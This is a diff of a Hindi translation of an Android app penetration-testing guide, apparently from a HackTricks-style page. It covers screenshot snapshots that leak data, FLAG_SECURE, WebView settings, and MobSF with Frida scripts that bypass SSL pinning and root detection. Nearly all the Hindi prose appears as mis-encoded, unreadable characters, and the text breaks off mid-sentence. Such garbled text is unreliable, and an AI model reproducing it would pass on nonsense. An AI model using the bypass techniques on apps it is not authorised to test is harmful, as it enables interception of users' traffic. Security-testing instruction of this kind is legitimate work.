рдХрд░ рджреЗ, рдЬрд┐рд╕рд╕реЗ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреЗрдЬреА рд╕реЗ рд▓реЛрдб рд╣реБрдЖ рд╣реИред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдЗрд╕ рд╕реНрдиреИрдкрд╢реЙрдЯ рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд╣реИ, рддреЛ рд╕реНрдиреИрдкрд╢реЙрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ** (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдЗрд╕ рд╕реНрдиреИрдкрд╢реЙрдЯ рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд╣реЛрддреА рд╣реИ, рддреЛ рд╕реНрдиреИрдкрд╢реЙрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рд╡реНрдпрдХреНрддрд┐ рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ **рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ** (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред -рд╕реНрдиреИрдкрд╢реЙрдЯ рдЖрдорддреМрд░ рдкрд░ рдпрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ: **`/data/system_ce/0/snapshots`** +рд╕реНрдиреИрдкрд╢реЙрдЯ рдЖрдорддреМрд░ рдкрд░ рдпрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ: **`/data/system_ce/0/snapshots`** -Android **FLAG_SECURE** рд▓реЗрдЖрдЙрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреИрдкреНрдЪрд░ рдХреЛ **рд░реЛрдХрдиреЗ** рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╡рд┐рдВрдбреЛ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддреА рдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбрд┐рд╕реНрдкреНрд▓реЗ рдкрд░ рдирд╣реАрдВ рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреАред +Android **FLAG_SECURE** рд▓реЗрдЖрдЙрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдХреИрдкреНрдЪрд░ рдХреЛ **рд░реЛрдХрдиреЗ** рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдлреНрд▓реИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╡рд┐рдВрдбреЛ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддреА рдпрд╛ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдбрд┐рд╕реНрдкреНрд▓реЗ рдкрд░ рдирд╣реАрдВ рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреАред ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -501,7 +501,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); - **SQL Injection:** рдЧрддрд┐рд╢реАрд▓ рдкреНрд░рд╢реНрдиреЛрдВ рдпрд╛ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдкреИрд░рд╛рдореАрдЯрд░рдпреБрдХреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред - **JavaScript Injection (XSS):** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдХрд┐рд╕реА рднреА WebViews рдХреЗ рд▓рд┐рдП JavaScript рдФрд░ рдкреНрд▓рдЧрдЗрди рд╕рдорд░реНрдерди рдмрдВрдж рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдмрдВрдж)ред [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews рдХреЛ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рддрдХ рдкрд╣реБрдБрдЪ рдмрдВрдж рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо) - `(webview.getSettings().setAllowFileAccess(false);)`ред [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews рдХреЛ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдмрдВрдж рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо) - `(webview.getSettings().setAllowFileAccess(false);)`ред [More info here](webview-attacks.md#javascript-enabled). - **Eternal cookies**: рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрдм Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреБрдХреА рдХреЛ рд░рджреНрдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдЗрд╕реЗ рдбрд┐рд╕реНрдХ рдкрд░ рднреА рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) @@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ MobSF **Android**(apk)**, IOS**(ipa) **рдФрд░ Windows**(apx) рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ (_Windows рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг Windows рд╣реЛрд╕реНрдЯ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд MobSF рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП_)ред\ рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рдПрдХ **ZIP** рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ **Android** рдпрд╛ **IOS** рдРрдк рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рд╣реЛрддрд╛ рд╣реИ (рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреЗ рд░реВрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ рдЬрд╛рдПрдВ, рд╕рдм рдХреБрдЫ рдЪреБрдиреЗрдВ рдФрд░ рдПрдХ ZIP рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ), рддреЛ рдпрд╣ рдЗрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рднреА рдХрд░ рд╕рдХреЗрдЧрд╛ред -MobSF рдЖрдкрдХреЛ **diff/Compare** рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ **VirusTotal** рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рднреА рджреЗрддрд╛ рд╣реИ (рдЖрдкрдХреЛ _MobSF/settings.py_ рдореЗрдВ рдЕрдкрдирд╛ API рдХреБрдВрдЬреА рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдФрд░ рдЗрд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)ред рдЖрдк `VT_UPLOAD` рдХреЛ `False` рдкрд░ рднреА рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрдм **hash** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп **upload** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +MobSF рдЖрдкрдХреЛ **diff/Compare** рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ **VirusTotal** рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рднреА рджреЗрддрд╛ рд╣реИ (рдЖрдкрдХреЛ _MobSF/settings.py_ рдореЗрдВ рдЕрдкрдиреА API рдХреБрдВрдЬреА рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдФрд░ рдЗрд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)ред рдЖрдк `VT_UPLOAD` рдХреЛ `False` рдкрд░ рднреА рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддрдм **hash** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп **upload** рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред ### MobSF рдХреЗ рд╕рд╛рде рд╕рд╣рд╛рдпрдХ рдЧрддрд┐рд╢реАрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг @@ -534,15 +534,15 @@ MobSF рдЖрдкрдХреЛ **diff/Compare** рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ - **HTTPS рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ** - **Frida** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **runtime** **рдЬрд╛рдирдХрд╛рд░реА** рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ -Android **рд╕рдВрд╕реНрдХрд░рдг > 5** рд╕реЗ, рдпрд╣ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Frida** рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ рдФрд░ **рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрд╢реНрд╡рд┐рдХ **proxy** рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдХреЗрд╡рд▓ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдП рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдЧрд╛ред +Android **рд╕рдВрд╕реНрдХрд░рдг > 5** рд╕реЗ, рдпрд╣ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Frida рд╢реБрд░реВ рдХрд░реЗрдЧрд╛** рдФрд░ **рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрд╢реНрд╡рд┐рдХ **proxy** рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдХреЗрд╡рд▓ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдП рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдЧрд╛ред **Frida** -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ **SSL рдкрд┐рдирд┐рдВрдЧ**, **root detection** рдФрд░ **debugger detection** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдФрд░ **рджрд┐рд▓рдЪрд╕реНрдк APIs** рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред\ +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ **SSL рдкрд┐рдирд┐рдВрдЧ**, **root detection** рдФрд░ **debugger detection** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдФрд░ **рджрд┐рд▓рдЪрд╕реНрдк APIs** рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред\ MobSF **рдирд┐рд░реНрдпрд╛рддрд┐рдд рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ** рдХреЛ **invoke** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрдирдХреЗ **рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ** рд▓реЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП **рд╕рд╣реЗрдЬ** рд╕рдХрддрд╛ рд╣реИред рдЧрддрд┐рд╢реАрд▓ рдкрд░реАрдХреНрд╖рдг **рд╢реБрд░реВ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рд░реЗ рдмрдЯрди рдкрд░ рджрдмрд╛рдПрдВ: "**Start Instrumentation**"ред Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд▓реЙрдЧ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП "**Frida Live Logs**" рдкрд░ рджрдмрд╛рдПрдВ рдФрд░ рд╕рднреА рд╣реБрдХ рдХрд┐рдП рдЧрдП рддрд░реАрдХреЛрдВ, рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рддрд░реНрдХреЛрдВ рдФрд░ рд▓реМрдЯрд╛рдП рдЧрдП рдорд╛рдиреЛрдВ рдХреЗ рдЖрд╡рд╛рд╣рдиреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП "**Live API Monitor**" рдкрд░ рджрдмрд╛рдПрдВ (рдпрд╣ "Start Instrumentation" рджрдмрд╛рдиреЗ рдХреЗ рдмрд╛рдж рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛)ред\ -MobSF рдЖрдкрдХреЛ рдЕрдкрдиреА **Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЕрдкрдиреЗ рд╢реБрдХреНрд░рд╡рд╛рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдкрд░рд┐рдгрд╛рдо MobSF рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП `send()` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред рдЗрд╕рдореЗрдВ **рдХрдИ рдкреВрд░реНрд╡-рд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ), рдмрд╕ **рдЙрдиреНрд╣реЗрдВ рдЪреБрдиреЗрдВ**, "**Load**" рдкрд░ рджрдмрд╛рдПрдВ рдФрд░ "**Start Instrumentation**" рдкрд░ рджрдмрд╛рдПрдВ (рдЖрдк рдЙрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓реЙрдЧ "**Frida Live Logs**" рдХреЗ рдЕрдВрджрд░ рджреЗрдЦ рд╕рдХреЗрдВрдЧреЗ)ред +MobSF рдЖрдкрдХреЛ рдЕрдкрдиреА **Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЕрдкрдиреЗ рд╢реБрдХреНрд░рд╡рд╛рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдкрд░рд┐рдгрд╛рдо MobSF рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП `send()` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред рдЗрд╕рдореЗрдВ **рдХрдИ рдкреВрд░реНрд╡-рд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` рдореЗрдВ рдФрд░ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ), рдмрд╕ **рдЙрдиреНрд╣реЗрдВ рдЪреБрдиреЗрдВ**, "**Load**" рдкрд░ рджрдмрд╛рдПрдВ рдФрд░ "**Start Instrumentation**" рдкрд░ рджрдмрд╛рдПрдВ (рдЖрдк рдЙрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓реЙрдЧ "**Frida Live Logs**" рдХреЗ рдЕрдВрджрд░ рджреЗрдЦ рд╕рдХреЗрдВрдЧреЗ)ред ![](<../../images/image (419).png>) @@ -550,7 +550,7 @@ MobSF рдЖрдкрдХреЛ рдЕрдкрдиреА **Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рд▓реЛрдб - **рд▓реЛрдб рдХреА рдЧрдИ рдХрдХреНрд╖рд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ**: рдпрд╣ рд╕рднреА рд▓реЛрдб рдХреА рдЧрдИ рдХрдХреНрд╖рд╛рдУрдВ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ - **рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ**: рдпрд╣ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рд╕рднреА рдХреИрдкреНрдЪрд░ рдХреА рдЧрдИ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ (рдмрд╣реБрдд рд╢реЛрд░) -- **рд╕реНрдЯреНрд░рд┐рдВрдЧ рддреБрд▓рдирд╛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ**: рдпрд╣ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ **рджреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИрдВ** рдФрд░ рдпрджрд┐ рдкрд░рд┐рдгрд╛рдо рд╕рддреНрдп рдпрд╛ рдЕрд╕рддреНрдп рдерд╛ред +- **рд╕реНрдЯреНрд░рд┐рдВрдЧ рддреБрд▓рдирд╛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ**: рдпрд╣ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ **2 рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИрдВ** рдФрд░ рдпрджрд┐ рдкрд░рд┐рдгрд╛рдо рд╕рддреНрдп рдпрд╛ рдЕрд╕рддреНрдп рдерд╛ред - **рдХрдХреНрд╖рд╛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ**: рдХрдХреНрд╖рд╛ рдХрд╛ рдирд╛рдо рдбрд╛рд▓реЗрдВ (рдЬреИрд╕реЗ "java.io.File") рдФрд░ рдпрд╣ рдХрдХреНрд╖рд╛ рдХреА рд╕рднреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ред - **рдХрдХреНрд╖рд╛ рдкреИрдЯрд░реНрди рдЦреЛрдЬреЗрдВ**: рдкреИрдЯрд░реНрди рджреНрд╡рд╛рд░рд╛ рдХрдХреНрд╖рд╛рдУрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ - **рдХрдХреНрд╖рд╛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░реЗрдВ**: **рдкреВрд░реА рдХрдХреНрд╖рд╛** рдХреЛ **рдЯреНрд░реЗрд╕** рдХрд░реЗрдВ (рдХрдХреНрд╖рд╛ рдХреА рд╕рднреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦреЗрдВ)ред рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ MobSF рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк Android API рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рддрд╛ рд╣реИред @@ -573,10 +573,10 @@ receivers рдЬрдм http рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк "**HTTP(S) Traffic**" рдХреЗ рдиреАрдЪреЗ рдХреИрдкреНрдЪрд░ рдХрд┐рдП рдЧрдП рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдПрдХ рдЦрд░рд╛рдм рджреГрд╢реНрдп рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ "**Start HTTPTools**" рд╣рд░реЗ рдмрдЯрди рдореЗрдВ рдПрдХ рдмреЗрд╣рддрд░ рджреГрд╢реНрдп рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рджреВрд╕рд░реЗ рд╡рд┐рдХрд▓реНрдк рд╕реЗ, рдЖрдк **captured requests** рдХреЛ **proxies** рдЬреИрд╕реЗ Burp рдпрд╛ Owasp ZAP рдХреЛ **send** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ рдЗрд╕рдХреЗ рд▓рд┐рдП, _Burp рдЪрд╛рд▓реВ рдХрд░реЗрдВ -->_ _Intercept рдмрдВрдж рдХрд░реЗрдВ --> MobSB HTTPTools рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ_ --> "**Send to Fuzzer**" рджрдмрд╛рдПрдВ --> _proxy рдкрддрд╛ рдЪреБрдиреЗрдВ_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))ред -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк MobSF рдХреЗ рд╕рд╛рде рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рд╕рдорд╛рдкреНрдд рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк "**Start Web API Fuzzer**" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **http requests** рдХреЛ **fuzz** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХреА рдЬрд╛ рд╕рдХреЗред +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк MobSF рдХреЗ рд╕рд╛рде рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕рдорд╛рдкреНрдд рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк "**Start Web API Fuzzer**" рдкрд░ рджрдмрд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **fuzz http requests** рдХрд░реЗрдВ рдФрд░ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред > [!NOTE] -> MobSF рдХреЗ рд╕рд╛рде рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЧрд▓рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЖрдк рдЙрдиреНрд╣реЗрдВ GUI рд╕реЗ рдареАрдХ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд░рдХреЗ рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдареАрдХ рдХрд░ 